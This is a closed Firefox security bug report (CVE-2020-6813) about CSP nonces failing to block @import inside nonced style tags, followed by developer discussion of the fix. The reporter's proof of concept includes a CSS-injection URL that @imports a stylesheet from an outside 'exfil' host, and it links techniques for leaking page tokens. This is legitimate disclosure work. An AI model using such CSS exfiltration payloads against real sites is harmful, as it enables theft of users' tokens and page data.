Closed Bug 1605814 (CVE-2020-6813) Opened 1 year ago Closed 1 year ago

CSP nonce based doesn't block @import requests inside <style> tags with a properly nonce

Categories

(Core :: DOM: Security, defect, P2)

defect

Tracking

()

VERIFIED FIXED
mozilla74
Tracking Status
firefox-esr68 --- wontfix
firefox72 --- wontfix
firefox73 --- wontfix
firefox74 --- verified

People

(Reporter: whoismath, Assigned: jkt)

References

()

Details

(Keywords: sec-low, Whiteboard: [reporter-external] [client-bounty-form] [verif?][domsecurity-active][post-critsmash-triage][adv-main74+])

Attachments

(3 files, 1 obsolete file)

When user is able to inject CSS in some page protected by CSP nonce, firefox won't block @import requests making possible to leak sensitive content data.

Mozilla Developer Network documentation (https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/style-src
) says: "You can use a nonce-source to only allow specific inline style blocks"

So it seems that page should block intead of load arbitrary styles, as chrome does.

PoC:

To demonstrate this bug I wrote a web page that receives CSS from a parameter 'css' and insert it into a nonced style in page: http://abrasax.club/csp/css/?css=body{background-color:%20blue;}

the CSP defined by this page is: Content-Security-Policy: default-src 'self'; style-src 'nonce-e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855'; img-src data: http: https:; font-src data: http https

When some user abuse include @import tag the external content is included without get blocked by firefox: http://abrasax.club/csp/css/?css=@import%20url(https://l4t.cc/exfil/a.css);

when the same url is displayed in chrome it gets blocked, even if the source content becomes from the same domain: http://abrasax.club/csp/css/?css=@import%20url(./b.css);

So it becomes possible to abuse the load of @import exfiltrate leak page information, like tokens that didn't change in every request, small token's that reload for each request and for bigger tokens that reload for each refresh (using @import tehcnique: https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b or using font technique: https://twitter.com/terjanq/status/1180477124861407234)

I also sent 2 videos in attachments showing attack examples.

Flags: sec-bounty?
Summary: CSP nonce based doesn't block @import requests inside \<style> tags with a properly nonce → CSP nonce based doesn't block @import requests inside <style> tags with a properly nonce
Group: firefox-core-security → dom-core-security
Type: task → defect
Component: Security → DOM: Security
Product: Firefox → Core
Assignee: nobody → jkt
Status: UNCONFIRMED → ASSIGNED
Ever confirmed: true
Priority: -- → P2

:emilio this looks like we are capturing the element's nonce whenever we load a child sheet, can you confirm if we are able to remove this behaviour when loading like this?

Flags: needinfo?(emilio)
Flags: needinfo?(cam)
Whiteboard: [reporter-external] [client-bounty-form] [verif?] → [reporter-external] [client-bounty-form] [verif?][domsecurity-active]

So, just to confirm my understanding of the patch...

Before your patch, when you call LoadChildSheet, we look at the owner node of the topmost stylesheet here. That should be the <style> element. Then we get to CheckContentSecurityPolicy with aIsPreload=No, so we check the nonce attribute and call SetCspNonce before checking CSP, which passes and thus we load the @import.

Your patch makes us not grab the nonce attribute, so that it fails the CSP check. Right?

So it seems reasonable to me off-hand. But we're still passing the <style> element down for other CSP checks. Is that what we want? Another alternative would be to just don't do the "walk-the-parent to find the owner node" thing. What other checks is the requesting node needed for in child sheets?

Also there's another SetCspNonce call, shouldn't it behave the same? Though I think it's only for sync loads.

Another thing... We seem to be checking the nonce attribute even for non-inline stylesheets more generally (so for <link> and such)... is that expected?

Depending on the answers above, it may be a better approach to just change HTMLStyleElement::GetStyleSheetInfo to thread the nonce attribute value down like we do for the integrity attribute on <link> and such.

Flags: needinfo?(emilio) → needinfo?(jkt)

(In reply to Emilio Cobos Álvarez (:emilio) from comment #3)

So, just to confirm my understanding of the patch...

Before your patch, when you call LoadChildSheet, we look at the owner node of the topmost stylesheet here. That should be the <style> element. Then we get to CheckContentSecurityPolicy with aIsPreload=No, so we check the nonce attribute and call SetCspNonce before checking CSP, which passes and thus we load the @import.

Your patch makes us not grab the nonce attribute, so that it fails the CSP check. Right?

Yep this is all my understanding also :).

So it seems reasonable to me off-hand. But we're still passing the <style> element down for other CSP checks. Is that what we want? Another alternative would be to just don't do the "walk-the-parent to find the owner node" thing. What other checks is the requesting node needed for in child sheets?

I think we still want the loadingPrincipal for this load otherwise we would skip the checks altogether too (I'd like to harden CheckContentPolicy to require a loadingPrincipal as a follow up to this).
I think we also want the node put into the LoadInfo otherwise we won't have a CSP for the document if I understand that code correctly: https://searchfox.org/mozilla-central/rev/053826b10f838f77c27507e5efecc96e34718541/netwerk/base/LoadInfo.cpp#1535

Also there's another SetCspNonce call, shouldn't it behave the same? Though I think it's only for sync loads.

There are two within LoadSheet my understanding is they don't suffer from the child sheets issue.

Another thing... We seem to be checking the nonce attribute even for non-inline stylesheets more generally (so for <link> and such)... is that expected?

Depending on the answers above, it may be a better approach to just change HTMLStyleElement::GetStyleSheetInfo to thread the nonce attribute value down like we do for the integrity attribute on <link> and such.

I think this is how this worked prior to https://bugzilla.mozilla.org/show_bug.cgi?id=1509738 but I might not be understanding correctly (I think this bug is the regressor however haven't checked).

Flags: needinfo?(jkt)

Re-ni'ing

Flags: needinfo?(emilio)

(In reply to Jonathan Kingston [:jkt] from comment #4)

I think we still want the loadingPrincipal for this load otherwise we would skip the checks altogether too (I'd like to harden CheckContentPolicy to require a loadingPrincipal as a follow up to this).

You would get the loadingPrincipal anyway from the document, right?

I think we also want the node put into the LoadInfo otherwise we won't have a CSP for the document if I understand that code correctly: https://searchfox.org/mozilla-central/rev/053826b10f838f77c27507e5efecc96e34718541/netwerk/base/LoadInfo.cpp#1535

Same, if you don't pass the <style> element you get here and get the document, right?

There are two within LoadSheet my understanding is they don't suffer from the child sheets issue.

Sure, but then CaptureNonce should be more explicit.

Another thing... We seem to be checking the nonce attribute even for non-inline stylesheets more generally (so for <link> and such)... is that expected?

Depending on the answers above, it may be a better approach to just change HTMLStyleElement::GetStyleSheetInfo to thread the nonce attribute value down like we do for the integrity attribute on <link> and such.

I think this is how this worked prior to https://bugzilla.mozilla.org/show_bug.cgi?id=1509738 but I might not be understanding correctly (I think this bug is the regressor however haven't checked).

That is totally not how it worked? I don't see any code in HTMLStyleElement.cpp being removed there :-)

Flags: needinfo?(emilio)
Attachment #9118409 - Attachment is obsolete: true
Flags: needinfo?(cam)

Please get a security rating and - if necessary - sec-approval for the bug.

Flags: needinfo?(jkt)
Keywords: sec-low
Group: dom-core-security → core-security-release
Status: ASSIGNED → RESOLVED
Closed: 1 year ago
Resolution: --- → FIXED
Target Milestone: --- → mozilla74

Can this fix ride the trains or should we consider uplift?

Flags: needinfo?(jkt)

I think we should just let it ride the trains the risk isn't high but neither is the importance I don't think. I suspect I should check in the test soon though.

Flags: needinfo?(jkt)
Flags: qe-verify+
Whiteboard: [reporter-external] [client-bounty-form] [verif?][domsecurity-active] → [reporter-external] [client-bounty-form] [verif?][domsecurity-active][post-critsmash-triage]

Verified as fixed on Nightly 74.0a1, Build ID 20200116214549 on Windows 10 and Ubuntu 16.04.

Status: RESOLVED → VERIFIED
Flags: sec-bounty? → sec-bounty+

Will tomorrow's release have the fix for this issue, or only the next release?

This was fixed for Firefox 74 which doesn't ship until next month. It will be available on the Beta channel tomorrow if you want to test.

ok, thank you for the info!

Whiteboard: [reporter-external] [client-bounty-form] [verif?][domsecurity-active][post-critsmash-triage] → [reporter-external] [client-bounty-form] [verif?][domsecurity-active][post-critsmash-triage][adv-main74+]
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.